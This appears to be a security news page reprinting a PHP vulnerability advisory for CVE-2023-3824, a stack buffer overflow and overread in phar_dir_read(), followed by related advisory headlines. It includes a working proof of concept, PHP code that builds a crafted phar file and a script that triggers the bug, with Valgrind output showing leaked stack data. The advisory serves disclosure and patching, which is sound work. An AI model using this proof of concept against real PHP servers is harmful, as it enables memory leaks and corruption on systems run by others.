Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-3824: Buffer overflow and overread in phar_dir_read()

In PHP version 8.0.* before 8.0.30, 8.1.* before 8.1.22, and 8.2.* before 8.2.8, when loading phar file, while reading PHAR directory entries, insufficient length checking may lead to a stack buffer overflow, leading potentially to memory corruption or RCE.

CVE
#linux#git#php#c++#rce#perl#xpath#buffer_overflow#sap

Summary

Buffer mismanagement in phar_dir_read() causes a buffer overflow and a buffer overread later.

Details

https://github.com/php/php-src/blob/be71cadc2f899bc39fe27098042139392e2187db/ext/phar/dirstream.c#L89C1-L116

There are few issues here:

  • The if check to_read == 0 || count < ZSTR_LEN(str_key) is not right.
    In particular, if this is false we know that count >= ZSTR_LEN(str_key).
    Furthermore, because of to_read = MIN(ZSTR_LEN(str_key), count); we now actually have: to_read == ZSTR_LEN(str_key).
    If we have a filename length (i.e. ZSTR_LEN(str_key)) equal to sizeof(php_stream_dirent), then we get ZSTR_LEN(str_key) == count == to_read == sizeof(php_stream_dirent).

    Take a look now at this line: ((php_stream_dirent *) buf)->d_name[to_read + 1] = '\0’;.
    Assume sizeof(php_stream_dirent) is 4096 like on most Linuxes. Then we write at offset 4097, which is two bytes outside of buf.
    This line was actually supposed to use to_read instead of to_read + 1, because now even if it doesn’t overflow, it does not properly NUL-terminate the filename. We’re just lucky there’s a memset above.
    Correcting that to use to_read doesn’t solve the whole problem: it would still overflow because it will write at offset 4096 which is still outside buf.

    This means we have a stack information leak and a buffer write overflow.

  • Both the memset and the return value assume that count == sizeof(php_stream_dirent).
    In principle if there are any callers where that count is smaller, a buffer overflow occurs in the memset.
    However, inside PHP itself I did not find any such caller, but this may be a concern for third-party extensions.

PoC

I created a reproducer using PHP-8.0 with these configure flags: ./configure --enable-debug --disable-all --enable-phar --with-valgrind using compiler gcc (GCC) 13.1.1 20230429.

Create the malicious Phar file using:

<?php $phar = new Phar(‘myarchive.phar’); $phar->startBuffering(); $phar->addFromString(str_repeat('A’, PHP_MAXPATHLEN - 1).’B’, ‘This is the content of the file.’); $phar->stopBuffering(); ?>

Trigger the buffer overflow and overread using this script:

<?php $handle = opendir(“phar://./myarchive.phar”); $x = readdir($handle); closedir($handle);

var_dump($x); ?>

If you run this in Valgrind, i.e. valgrind ./sapi/cli/php trigger.php you’ll find two Valgrind complaints:

==42575== Conditional jump or move depends on uninitialised value(s)
==42575==    at 0x4847ED8: strlen (vg_replace_strmem.c:501)
==42575==    by 0x53BE9C: zif_readdir (dir.c:389)
==42575==    by 0x6D05C4: ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER (zend_vm_execute.h:1295)
==42575==    by 0x742F7D: execute_ex (zend_vm_execute.h:55163)
==42575==    by 0x747848: zend_execute (zend_vm_execute.h:59523)
==42575==    by 0x696376: zend_execute_scripts (zend.c:1694)
==42575==    by 0x5F6D45: php_execute_script (main.c:2546)
==42575==    by 0x788A53: do_cli (php_cli.c:949)
==42575==    by 0x789ADB: main (php_cli.c:1337)
==42575== 
==42575== Syscall param write(buf) points to uninitialised byte(s)
==42575==    at 0x4AA2BC4: write (write.c:26)
==42575==    by 0x7875EA: sapi_cli_single_write (php_cli.c:261)
==42575==    by 0x78768D: sapi_cli_ub_write (php_cli.c:293)
==42575==    by 0x611034: php_output_op (output.c:1082)
==42575==    by 0x60F2B7: php_output_write (output.c:261)
==42575==    by 0x5B3B0D: php_var_dump (var.c:120)
==42575==    by 0x5B432A: zif_var_dump (var.c:218)
==42575==    by 0x6D031A: ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER (zend_vm_execute.h:1234)
==42575==    by 0x742F6D: execute_ex (zend_vm_execute.h:55159)
==42575==    by 0x747848: zend_execute (zend_vm_execute.h:59523)
==42575==    by 0x696376: zend_execute_scripts (zend.c:1694)
==42575==    by 0x5F6D45: php_execute_script (main.c:2546)

The first complaint is because the strlen() function overreads the d_name buffer because it isn’t properly NUL-terminated.
The second one is because it writes the name using var_dump, and the name contains (uninitialized) stack data.
Valgrind won’t complain about the stack buffer write overflow, but you can inspect the memory using gdb for example that a piece of the stack gets overwritten.

Impact

Exploiting this is difficult to do and heavily depends on the application you’re targetting, but possible in theory I think using a combination of stack info leaks and buffer write overflows. People who inspect contents of untrusted phar files could be affected.

Related news

Gentoo Linux Security Advisory 202408-32

Gentoo Linux Security Advisory 202408-32 - Multiple vulnerabilities have been discovered in PHP, the worst of which can lead to a denial of service. Versions greater than or equal to 8.1.29:8.1 are affected.

Ubuntu Security Notice USN-6305-3

Ubuntu Security Notice 6305-3 - USN-6305-2 fixed a vulnerability in PHP. The update caused a regression in Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. This update fix it. It was discovered that PHP incorrectly handled certain XML files. An attacker could possibly use this issue to expose sensitive information.

Debian Security Advisory 5661-1

Debian Linux Security Advisory 5661-1 - Multiple security issues were found in PHP, a widely-used open source general purpose scripting language which could result in secure cookie bypass, XXE attacks or incorrect validation of password hashes.

Debian Security Advisory 5660-1

Debian Linux Security Advisory 5660-1 - Multiple security issues were found in PHP, a widely-used open source general purpose scripting language which could result in secure cookie bypass, XXE attacks or incorrect validation of password hashes.

Ubuntu Security Notice USN-6305-2

Ubuntu Security Notice 6305-2 - USN-6305-1 fixed several vulnerabilities in PHP. This update provides the corresponding update for Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, and Ubuntu 20.04 LTS. It was discovered that PHP incorrectly handled certain XML files. An attacker could possibly use this issue to expose sensitive information.

LockBit Ransomware Gang Returns, Taunts FBI and Vows Data Leaks

By Waqas LockBit ransomware gang relaunches operation after law enforcement hacked its servers, threatening to target government entities more now. This is a post from HackRead.com Read the original post: LockBit Ransomware Gang Returns, Taunts FBI and Vows Data Leaks

Red Hat Security Advisory 2024-0387-03

Red Hat Security Advisory 2024-0387-03 - An update for the php:8.1 module is now available for Red Hat Enterprise Linux 9. Issues addressed include a denial of service vulnerability.

CVE-2023-22130: Oracle Critical Patch Update Advisory - October 2023

Vulnerability in the Sun ZFS Storage Appliance product of Oracle Systems (component: Core). The supported version that is affected is 8.8.60. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Sun ZFS Storage Appliance. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Sun ZFS Storage Appliance. CVSS 3.1 Base Score 5.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H).

Ubuntu Security Notice USN-6305-1

Ubuntu Security Notice 6305-1 - It was discovered that PHP incorrectly handled certain XML files. An attacker could possibly use this issue to expose sensitive information. It was discovered that PHP incorrectly handled certain PHAR files. An attacker could possibly use this issue to cause a crash, expose sensitive information or execute arbitrary code.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907